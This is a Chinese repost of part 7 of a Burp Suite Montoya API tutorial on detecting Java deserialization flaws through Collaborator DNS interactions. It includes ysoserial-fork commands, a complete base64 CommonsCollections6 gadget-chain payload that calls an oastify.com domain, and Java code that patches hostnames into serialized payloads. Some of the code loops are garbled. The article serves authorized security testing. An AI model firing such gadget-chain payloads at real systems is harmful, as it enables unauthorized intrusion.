在Burp插件中玩转Collaborator:检测Java反序列化的实战教程(第七部分)

admin 2026-05-14 14:15:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了如何在BurpSuite的MontoyaAPI插件中调用Collaborator工具,通过DNS外带交互检测Java反序列化漏洞。文章从手动验证入手,演示了使用ysoserialfork生成DNS解析payload,并利用Collaborator监听交互以确认漏洞存在;随后逐步讲解如何改造插件代码,将基于时间的检测逻辑替换为基于Collaborator的动态DNS检测,包括处理payload中的域名占位符、调用CollaboratorAPI创建客户端及轮询交互结果。 综合评分: 85 文章分类: web安全,渗透测试,安全工具


cover_image

在Burp插件中玩转Collaborator:检测Java反序列化的实战教程(第七部分)

幻泉之洲

2026年5月12日 15:28 北京

在小说阅读器读本章

去阅读

本文将教你如何在Burp Suite的Montoya API插件中调用Collaborator,实现基于DNS反连的Java反序列化漏洞检测。从手动验证到代码实现,一步步带你搞定。

大家好!

上一期我们写了一个自定义扫描插件,给Burp Scanner加上了主动和被动检测规则。今天咱们改一改那个插件,用它来检测序列化漏洞——不是靠响应时间,而是靠DNS外带交互。Burp Suite里已经有个现成的工具叫Collaborator,专门干这个的。

Collaborator的作用是帮我们发现那些不会在响应里暴露痕迹的漏洞:你往目标应用发一个payload,payload触发后会让目标去访问一个外部服务器,Collaborator就是那个监听外部交互的权威DNS服务。它同时监听HTTP、HTTPS、SMTP、SMTPS这些端口。用的时候只需要生成一个特殊的Collaborator URL,塞进payload里发给目标。如果目标真的去解析或者连接了这个URL,Collaborator就会通知你。这个工具被Burp的主动扫描器内置使用,我们在手动测试时(比如Repeater、Intruder、Proxy)也能直接用。

PortSwigger给所有Burp Professional用户提供了一个公共Collaborator服务器,但你也可以自己搭私服。说实话,用公共服务器有个坑——生成的payload在渗透测试中被成千上万的人用过,目标很可能已经把它们加入了黑名单。

还是老规矩,先搭个测试环境。跟前一篇文章(第六部分)一样,我还是用那个自己开发的Java反序列化测试应用(WAR包),它会把收到的各种编码的反序列化数据直接反序列化。目标应用绑了有漏洞的Apache Commons Collections 3库,这个库里有现成的可序列化对象,反序列化后能执行任意代码。测试应用可以从我的GitHub仓库下载。部署需要Java应用服务器,我用的Tomcat 9配OpenJDK 17。Java版本太旧的话可能跑不起来。

生成漏洞payload还是用ysoserial这个神器,作者是Chris Frohoff(也是第一个发现这个漏洞的研究者)。但ysoserial原本是为利用设计的,payload大多是执行系统命令。为了检测,几年前我写Java Deserialization Scanner插件时还fork了一个ysoserial版本,加了一些检测模块——比如生成payload后让它执行Java原生同步睡眠(上一期用到了),还有生成payload后让它做DNS解析。后者正好配合Collaborator做可靠检测。

在改插件之前,我们先手动验证一下漏洞。

把目标应用的请求丢到Repeater里(第六部分讲过怎么操作):

第六部分说过,ysoserial对Commons Collections 3有5个payload:CommonsCollections1、3、5、6、7。能不能用取决于目标环境和Java版本。我这边CommonsCollections6能正常工作。生成payload前先搞一个Collaborator URL

然后用ysoserial fork生成一个payload,让它在反序列化后对指定URL做DNS解析:

$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 4bg5589heitroj98ttwqau4unltch25r.oastify.com dns base64,url_encoding rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI%2FQAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB%2BAAN4cHZyABRqYXZhLm5ldC5JbmV0QWRkcmVzcy2bV6%2Bf4%2BvbAwADSQAHYWRkcmVzc0kABmZhbWlseUwACGhvc3ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo%2F2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4AElsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAJZ2V0QnlOYW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdAAJZ2V0TWV0aG9kdXEAfgAbAAAAAnEAfgAednEAfgAbc3EAfgAUdXEAfgAYAAAAAnVxAH4AGwAAAAFxAH4AHnVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5%2Bkde0cCAAB4cAAAAAF0ACw0Ymc1NTg5aGVpdHJvajk4dHR3cWF1NHVubHRjaDI1ci5vYXN0aWZ5LmNvbXQABmludm9rZXVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB%2BABhzcQB%2BAA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4

ysoserial fork还支持编码。这里选了base64加url编码,为的是在Repeater里直接用。扫描器里只用base64——扫描器自己会根据请求的Content Type处理URL编码,但一般不处理base64编码(第六部分详细解释过)。

把payload发到有漏洞的应用,然后看看有没有DNS交互:

交互收到了,说明目标确实有漏洞。现在就把这套逻辑塞进扫描插件里。

从第六部分的插件代码开始改(建议复制一份)。主要改CustomScanCheck类的activeAudit方法,把基于时间的payload换成基于Collaborator的payload。我把复制的类改名叫CustomCollaboratorScanCheck。

首先用ysoserial fork生成新的DNS payload。但有个问题:我们不知道扫描运行时Collaborator会生成什么域名。不能提前生成固定的payload。解决办法有好几种:直接在插件里调用ysoserial、把ysoserial代码集成进插件、或者用占位符替换法。Java Deserialization Scanner用的就是第三种——先放一个占位符,运行时替换成真正的域名。

但序列化对象是二进制的,不能简单字符串替换。需要修改二进制对象中的长度字段。因为你可能部署自己的Collaborator私服,域名长度不固定。

一步一步来。先生成带占位符”XXXXX”的payload:

$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections1 XXXXX dns base64 rO0ABXNyADJ[…]AAAAAHhwcQB+ADc=

$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections3 XXXXX dns base64 rO0ABXNyADJz[…]AAAAeHBxAH4ALg==

$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections5 XXXXX dns base64 rO0ABXNyAC5q[…]cIAAAAEAAAAAB4eA==

$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections6 XXXXX dns base64 rO0ABXNyABF[…]BAAAAAAeHh4

$ java -jar ysoserial-fd-0.0.6.jar CommonsCollections7 XXXXX dns base64 rO0ABXNyABNqYXZhL[…]c3EAfgAqAAAAAng=

把这些payload放到StaticItems类里,替换掉之前的time payload:

package org.fd.montoyatutorial;

import burp.api.montoya.scanner.audit.issues.AuditIssueConfidence; import burp.api.montoya.scanner.audit.issues.AuditIssueSeverity;

public class StaticItems {

   public static String[] apacheCommonsCollections3Payloads = new String[] {“rO0ABXNy[…]cQB+ADc=”,            “rO0ABXNyA[…]eHBxAH4ALg==”,            “rO0ABXNyAC5q[…]EAAAAAB4eA==”,            “rO0ABXN[…]AABAAAAAAeHh4”,            “rO0ABXNy[…]AAng=”};    […] }

现在更新activeAudit方法。先搭个骨架,把需要改的地方标上TODO:

@Override public AuditResult activeAudit(HttpRequestResponse baseRequestResponse, AuditInsertionPoint auditInsertionPoint) {

   List activeAuditIssues = new ArrayList();

   for(int i = 0; i interactionList = null;

       if(interactionList.size() > 0) {

           AuditIssue auditIssue = AuditIssue.auditIssue(                    StaticItems.apacheCommonsCollections3IssueName,                    StaticItems.apacheCommonsCollections3IssueDetail,                    null,                    baseRequestResponse.request().url(),                    StaticItems.apacheCommonsCollections3IssueSeverity,                    StaticItems.apacheCommonsCollections3IssueConfidence,                    null, null,                    StaticItems.apacheCommonsCollections3IssueTypicalSeverity,                    commonsCollectionsCheckRequestResponse);            activeAuditIssues.add(auditIssue);        }    }    return AuditResult.auditResult(activeAuditIssues); }

Collaborator的API通过MontoyaApi对象提供。在initialize方法里通过api.collaborator()拿到Collaborator对象。它有三个方法:

  • createClient():创建一个新的Collaborator客户端,可以用来生成payload和获取交互。
  • restoreClient(SecretKey):恢复之前会话的客户端。以前没有这个功能,插件关闭后交互就丢了。现在可以保存密钥,重启后恢复。
  • defaultPayloadGenerator():返回与Collaborator选项卡关联的payload生成器。生成的交互会显示在Collaborator选项卡里,但无法从插件中获取。适合手动测试辅助,而我们扫描插件需要的是createClient。

所以在扫描检查的构造函数里创建并保存一个Collaborator客户端:

CollaboratorClient collaboratorClient;

public CustomCollaboratorScanCheck(MontoyaApi api) {    this.api = api;    this.utilities = this.api.utilities();    this.collaboratorClient = this.api.collaborator().createClient(); }

在activeAudit里使用这些API。先看CollaboratorClient的文档(PortSwigger官方文档[1]):有两个生成payload的方法(一个只生成URL,一个可带自定义数据),两个获取交互的方法(全部或按payload过滤),以及获取密钥和服务器地址的方法。

具体实现:

public ByteArray createDnsPayload(ByteArray genericPayload, String collaboratorURL) {    // 这个函数把占位符XXXXX替换成Collaborator域名,并修正二进制对象中的长度字段 }

@Override public AuditResult activeAudit(HttpRequestResponse baseRequestResponse, AuditInsertionPoint auditInsertionPoint) {

   List activeAuditIssues = new ArrayList();

   for(int i = 0; i interactionList = collaboratorClient.getInteractions(                InteractionFilter.interactionPayloadFilter(collaboratorUrl));

       if(interactionList.size() > 0) {            AuditIssue auditIssue = AuditIssue.auditIssue(                    StaticItems.apacheCommonsCollections3IssueName,                    StaticItems.apacheCommonsCollections3IssueDetail,                    null,                    baseRequestResponse.request().url(),                    StaticItems.apacheCommonsCollections3IssueSeverity,                    StaticItems.apacheCommonsCollections3IssueConfidence,                    null, null,                    StaticItems.apacheCommonsCollections3IssueTypicalSeverity,                    commonsCollectionsCheckRequestResponse);            activeAuditIssues.add(auditIssue);        }    }    return AuditResult.auditResult(activeAuditIssues); }

注释里标了三个TODO:

  1. 生成Collaborator payload,拿到完整域名(类似geyuzopwxo3kvogmmsak60oew52wqmeb.oastify.com)。
  2. 用createDnsPayload替换占位符,修正长度字段,然后base64编码。
  3. 发送payload并获取交互,用InteractionFilter.interactionPayloadFilter过滤当前payload。

createDnsPayload的实现如下(细节略复杂,直接看代码):

public ByteArray createDnsPayload(ByteArray genericPayload, String collaboratorURL) {

   String hostTokenString = “XXXXX”;    int indexPlaceholderFirstUrlCharacter = genericPayload.indexOf(hostTokenString, true);    int indexPlaceholderLastUrlCharacter = indexPlaceholderFirstUrlCharacter + hostTokenString.length() – 1;    int newCollaboratorVectorLength = collaboratorURL.length();

   ByteArray payloadPortionBeforeUrl = genericPayload.subArray(0, indexPlaceholderFirstUrlCharacter);    ByteArray payloadPortionAfterUrl = genericPayload.subArray(indexPlaceholderLastUrlCharacter+1, genericPayload.length());

   payloadPortionBeforeUrl.setByte(payloadPortionBeforeUrl.length()-1, (byte)newCollaboratorVectorLength);

   ByteArray payloadWithCollaboratorUrl = payloadPortionBeforeUrl.withAppended(ByteArray.byteArray(collaboratorURL));    payloadWithCollaboratorUrl = payloadWithCollaboratorUrl.withAppended(payloadPortionAfterUrl);

   // 当使用TemplateImpl对象时,还要再修正一个长度    ByteArray patternTemplateImplToSearch = ByteArray.byteArray(new byte[]{(byte)0xf8,(byte)0x06,(byte)0x08,(byte)0x54,(byte)0xe0,(byte)0x02,(byte)0x00,(byte)0x00,(byte)0x78,(byte)0x70,(byte)0x00,(byte)0x00,(byte)0x06});    int indexOfPatternTemplateImpl = payloadWithCollaboratorUrl.indexOf(patternTemplateImplToSearch,false);    if(indexOfPatternTemplateImpl != -1)        payloadWithCollaboratorUrl.setByte(indexOfPatternTemplateImpl+13, (byte)(payloadWithCollaboratorUrl.getByte(indexOfPatternTemplateImpl+13) + (newCollaboratorVectorLength – 5)));

   return payloadWithCollaboratorUrl; }

编译打包,加载到Burp(具体步骤参看第一部分)。测试方法跟第六部分一样:把请求发到Intruder,选好插入点,用“Scan defined insertion points”功能,只配扩展扫描:

结果如下:

最后聊两句Collaborator交互的注意事项。我们这个例子是发送payload后马上检查交互——因为如果应用有漏洞,它会反序列化对象、做DNS查询,等DNS响应回来后才返回正常响应,所以我们能立即看到交互。但有些场景下,交互可能延迟到达,比如payload触发后几秒甚至几分钟才发生。这时候需要开一个线程定期轮询,检查所有payload的交互。还可以用getSecretKey保存密钥,下次打开Burp时恢复会话(配合Persistence对象)。PortSwigger官方示例里有个Poller线程可以参考。

注意:不是所有交互都代表目标有漏洞。尤其是很久之后才收到的交互,可能是IDS、IPS、蓝队手工分析、日志分析工具触发的。还有个坑:一些即时通讯工具(比如Microsoft Teams)在粘贴链接时会自动抓取预览,这也会产生交互。所以看到来自微软IP的交互别激动——先跑个WHOIS。

今天就到这里。下一篇我们聊聊BChecks——快速扩展Burp扫描器的一种方式,适合不太复杂的检测规则。

完整的后端和插件代码都可以从我的GitHub仓库下载[2]。

下次见!


参考资料

[1] https://portswigger.github.io/burp-extensions-montoya-api/javadoc/burp/api/montoya/collaborator/CollaboratorClient.html

[2] https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course

[3] https://hnsecurity.it/blog/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-7/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《在Burp插件中玩转Collaborator:检测Java反序列化的实战教程(第七部分)》

评论:0   参与:  0